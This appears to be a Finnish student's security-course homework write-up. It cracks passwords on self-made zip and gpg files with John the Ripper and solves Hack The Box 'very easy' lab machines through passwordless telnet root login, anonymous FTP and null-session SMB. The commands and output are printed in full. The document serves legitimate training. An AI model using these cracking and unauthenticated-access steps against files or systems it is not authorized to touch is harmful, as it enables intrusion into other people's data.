sophisticated
insecure
web
application
# Ei pidetä tuloksia kummoisina, tehdään sama uudestaan mutta lisätään syvyyttä flägillä -d 3
# mutta tulokset ovat samat
e) Murra zip-paketin salasanasuojaus
- Voit avata esimerkiksi zip tai pdf-tiedoston salakirjoituksen. Yksi helppo vaihtoehto on zip2john.
- Salatun zip-paketin saa tehtyä ‘zip –encrypt -r tero.zip tero/’ (iirc)
mkdir niko
cd niko
cat niko.txt
niko niko niko
cd ..
zip --encrypt -r niko.zip niko/
└─$ unzip niko.zip
Archive: niko.zip
[niko.zip] niko/niko.txt password:
# kräkätään salasana, tai yritetään
# 1) yritys tehdä sls-suojattu zip jossa ei sisältöä, joka aukeaa pwstä huolimatta unzipillä ilman pw:t
# 2) toka yritys sls-suojattu zip jossa tiedosto, mutta sitä ei suojattu
Katsotaan ohjeet https://secnhack.in/crack-zip-files-password-using-john-the-ripper/ ja toteutetaan:
# luodaan zippi.zip pw:llä qwerty123 ja laitetaan sinne niko/niko.txt
└─$ zip --password qwerty123 zippi.zip niko/niko.txt
# haetaan zippi.zipin salasanatiiviste zippi-hashes tiedostoon zip2johnilla
└─$ zip2john zippi.zip > zippi.hashes
# tarkastetaan tiedostosisältö
└─$ cat zippi.hashes
zippi.zip/niko/niko.txt:$pkzip2$1*2*2*0*16*f*81567ab2*0*47*8*16*8156*5e9d*ff3b29c3d3de79a7ae5f15f279fa9050593d4fd73e55*$/pkzip2$:niko/niko.txt:zippi.zip::zippi.zip
# ajetaan john tätä tiivistetiedostoa zippi.hashes vastaan
└─$ john zippi.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:00:49 3/3 0g/s 9169Kp/s 9169Kc/s 9169KC/s typ0h0..tym3xl
Session aborted
# muistetaan aiemmista harjoituksista että JtR hyökkää kolmella moodilla default komennolla john
# 1) käyttää käyttäjätunnusta salasanana
# 2) käyttää omaa slslistaa
# 3) rupeaa brute forcettaan kaikilla maailman merkkiyhdistelmillä,
# missä vaiheessa pysäytetään prosessi
# luodaan oma "sanalista" (yhdellä sanalla)
└─$ cat > wordlistzip.txt 1 ⨯
qwerty123
# ja ajetaan tällä listalla johnia zippi.hashesia vastaan
└─$ john --wordlist=wordlistzip.txt zippi.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 2 needed for performance.
qwerty123 (zippi.zip/niko/niko.txt)
1g 0:00:00:00 DONE (2021-12-04 13:01) 50.00g/s 50.00p/s 50.00c/s 50.00C/s qwerty123
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Zip-suojaus kräkätty JtR:llä onnistuneesti varsin koelaboratoriomaisissa olosuhteissa :-D, periaate tulee kuitenkin selväksi.
f) Murra jonkin muun tiedoston suojaus
Murra jonkin muun tiedoston salasanasuojaus.
- Voit avata esimerkiksi zip tai pdf-tiedoston salakirjoituksen. Yksi helppo vaihtoehto on zip2john.
- Tiedostojen salasanojen murtaminen onnistuu mukavasti John the Ripperillä. Ks esim. https://github.com/openwall/john/tree/bleeding-jumbo/run
Kokeillaan samaa periaatetta pdf-tiedostoon.
# etsitään PDF tiedosto
└─$ grep -r / --include=*.pdf
grep: .ZAP/lang/ZAPGettingStartedGuide-2.10.pdf: binary file matches
# avataan se selaimessa että se varmasti toimii
└─$ firefox '.ZAP/lang/ZAPGettingStartedGuide-2.10.pdf'
# kopioidaan se
└─$ cp .ZAP/lang/ZAPGettingStartedGuide-2.10.pdf niko/zap.pdf
# salasanasuojataan se https://www.garron.me/en/linux/password-protect-file.html
# JtR sanalistasta löytyvällä 'password', luo uuden zap.pdf.gpg tiedoston
└─$ gpg -c zap.pdf
gpg: keybox '/home/kali/.gnupg/pubring.kbx' created
# kokeillaan pdf2johnilla tiivistetiedostoa pdfhash vastaan
└─$ /usr/share/john/pdf2john.pl zap.pdf.gpg > pdfhash
└─$ cat pdfhash
zap.pdf.gpg: not a PDF file!
# eli gpg ei ole enää pdf-tiedosto vaan kryptattu, ja purettaisiin
gpg zap.pdf.gpg
# johnissa on myös gpg2john, otetaan suojatun tiedoston tiiviste gpghash-tiedostoon
└─$ gpg2john zap.pdf.gpg > gpghash
# ajetaan john gpghash-tiedostoa vastaan --show komennolla joka näyttää kräkätyt salasanat:
└─$ john gpghash --show
?:password
1 password hash cracked, 0 left
Valmista tuli niin hyvin nopeasti. gpghash-tiedosto oli valtavan pitkä (sivuja!) ja john gpghash kräkkäys puolestaan niin nopea (sekunti tai pari) että arveluttamaan jäi.
g) Salasanan taakse / ei julkiseen nettiin
Salasanan taakse / ei julkiseen nettiin: Tiedustele perusteellisesti jokin HTB Machines verkon kone. Selitä tulokset. Luettele lähestymistavat, joilla murtautumista voisi aloittaa. (Tämä pitää laittaa piiloon, koska HTB:lla on näistä kilpailu, emmekä halua spoilata sitä)
- Jos korkkaat Machines-verkon koneita, älä laita niiden raportteja nettiin. Niissä on muillakin kilpailu kesken kuin vain meillä kurssilaisilla.
- Aloita helpoista koneista. HTB:n sisäänkirjatuneen käyttäjän sivulla näkyy, kuinka helppoina koneita on pidetty. -m) Vapaaehtoinen kilpailu: kuka saa eniten Machines-verkon aktiivisia koneita korkattua? Laita Terolle viesti, jos saat yhdenkin auki. Kerron palkinnon tunnilla.
Alkuvalmistelut
Edellisviikolla jätettiin HtB:n harjoitukset tekemättä koska HtB:n säännöt ovat vanhentuneet ja kieltävät muiden verkkojen kuin 10.10.10/24 tutkimisen, mutta harjoituskoneet (joiden määrä on varmaan kasvanut kovasti) spawnaavat aivan eri verkkoihin. Laitoin HtB:lle kolmeen eri osoitteeseen aiheesta viestiä, mutta mitään vastausta ei ole kuulunut eikä sääntöjä ole päivitetty. Kukaan muu ei kurssilla kyllä asiasta ollut välittänyt, joten ehkä tässä aloittelijan epävarmuus meni hieman liian pitkälle. Toisaalta, aika noloa HtB:n puolelta 1) pitää yllä sääntöjä jotka estävät palvelun käytön ja 2) olla vastaamatta ja reagoimatta palautteeseen asiasta.
Proxy: ZAP
Käytän kahta Kalia, toisessa on asennettuna WebGoat ja WebWolf ja JuiceShop ja enemmän kaikenlaista kamaa joka varmaan voisi teoriassa tehdä siitä haavoittuvamman, ja siihen on myös tehty myös ZAP ja FoxyProxy säädöt, joten tehdään samat myös nyt käytettyyn koneeseen.
Valitaan ZAP –> Tools –> Options –> Local Proxy: Port 8080 (ei WebGoatia pyörimässä samassa portissa). Behind NAT asetus mietityttää hieman, mutta hetken mietittyä sen kuvausta se vaikuttaa siis siltä, että jos lokaali välityspalvelin olisi oikeasti Internetissä se valittaisiin (esim. “http://proxypalvelin:8008”). Näinhän ei ole, meidän välityspalvelin on localhost:8080.
Otetaan myös HUD pois päältä ZAP:ia käytettäessä. Hoksataan myös että HUD:n base directory on osoitteessa /home/kali/.ZAP/hud, tämä olisi pitänyt lisätä FoxyProxyn Patterniin että HUD olisi toiminut oikein Pattern-asetuksilla aiemmissa harjoituksissa. Tosin pelkkä ZAP tai HUD lisääminen wildcard-merkkien väliin ei kuulosta hyvältä idealta, vaan ratkaisu vaatisi kunnollisen regex-ratkaisun, sillä FoxyProxy wildcard polut eivät salli kauttamerkkejä / (syystä x).
Lisätään FoxyProxyyn pattern *10.10.10.*
HtB pohjaksi, vaikkei se riitäkään nykyisin.
Starting point
Tehdään Meow harjoitus viimein loppuun.
ping 10.129.255.83
nmap 10.129.255.83
telnet 10.129.255.83
# Meow login:
root
ls
root@Meow:~# cat flag.txt
# root flag
b40abdfe23665f766f9c61ecba8a4c19
Kokeillaan Fawn (Very easy).
ping 10.129.223.128
nmap -sV 10.129.223.128
firefox "ftp://10.129.223.128"
# avataan flag.txt selaimessa, kopioidaan root flag
035db21c881520061c53e0536e44f815
Kokeillaan Dancing (Very easy).
└─$ ping 10.129.209.169
└─$ nmap 10.129.209.169
└─$ smbclient -L 10.129.209.169/WorkShares
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
SMB1 disabled -- no workgroup available
# Tämä oli niin pelottava tämä neljä kenoviivaa että luin ohjeita lopulta sekä googlesta että dancingin omasta walkthroughsta
smbclient \\\\10.129.209.169\\WorkShares # ja salasanaan tyhjää
# SMB:ssä
smb: \> ls
. D 0 Mon Mar 29 04:22:01 2021
.. D 0 Mon Mar 29 04:22:01 2021
Amy.J D 0 Mon Mar 29 05:08:24 2021
James.P D 0 Thu Jun 3 04:38:03 2021
#
smb: \> cd James.P
smb: \James.P\> ls
. D 0 Thu Jun 3 04:38:03 2021
.. D 0 Thu Jun 3 04:38:03 2021
flag.txt A 32 Mon Mar 29 05:26:57 2021
5114111 blocks of size 4096. 1754145 blocks available
smb: \James.P\> get flag.txt
exit
└─$ cat flag.txt
5f61c10dffbc77a704d76016a22f1664
Jouduttiin lukemaan SMB-Linux yhteyksistä: https://tldp.org/HOWTO/SMB-HOWTO-8.html. Neljä kenoviivaa vaikuttivat niin pelottavilta smb:llä yhteyttä ottaessa että päädyin lukemaan vielä Dancingin omat ohjeet smbclient-yhteydestä lähtien.
Välihuomiona, että HtB app heittelee välillä erroria ihavvaa huvin ja urheilun kannalta. Lisäksi tätä erittäin helppoa konetta tehdessä tulee mieleen aloitettu helpon koneen walkthrough lukeminen - se vaikutti kaikkea muuta kuin helpolta. Pysytellään näissä kivoissa very easy machineissa suosiolla loppuun ennen kuin siirrytään edes tiedustelemaan helppoja koneita.
Explosion & Preignition - VIP
Jatketaan Very Easy masiinoiden parissa, ensin Explosion. Whoops, se vaatiikin VIP accesin. Samoin Preignition. Ei auta kuin siirtyä syvään päätyyn. Tosin en tiedä ovatko nämä Starting Point verkon muut masiinat sitten helpompia kuin Machines verkon vastaavat.
Machines verkko
Katkaistaan Starting point VPN yhteys ctrl+c terminaali-ikkunassa missä se oli päällä, ja ladataan Machines .ovpn-tiedosto ja käynnistetään se. Koneet taitavat olla molemmissa samat. Loput lorinat salasanan taakse.
Hack the Box Machines verkon aktiivisen koneen Horizontall yrittämistä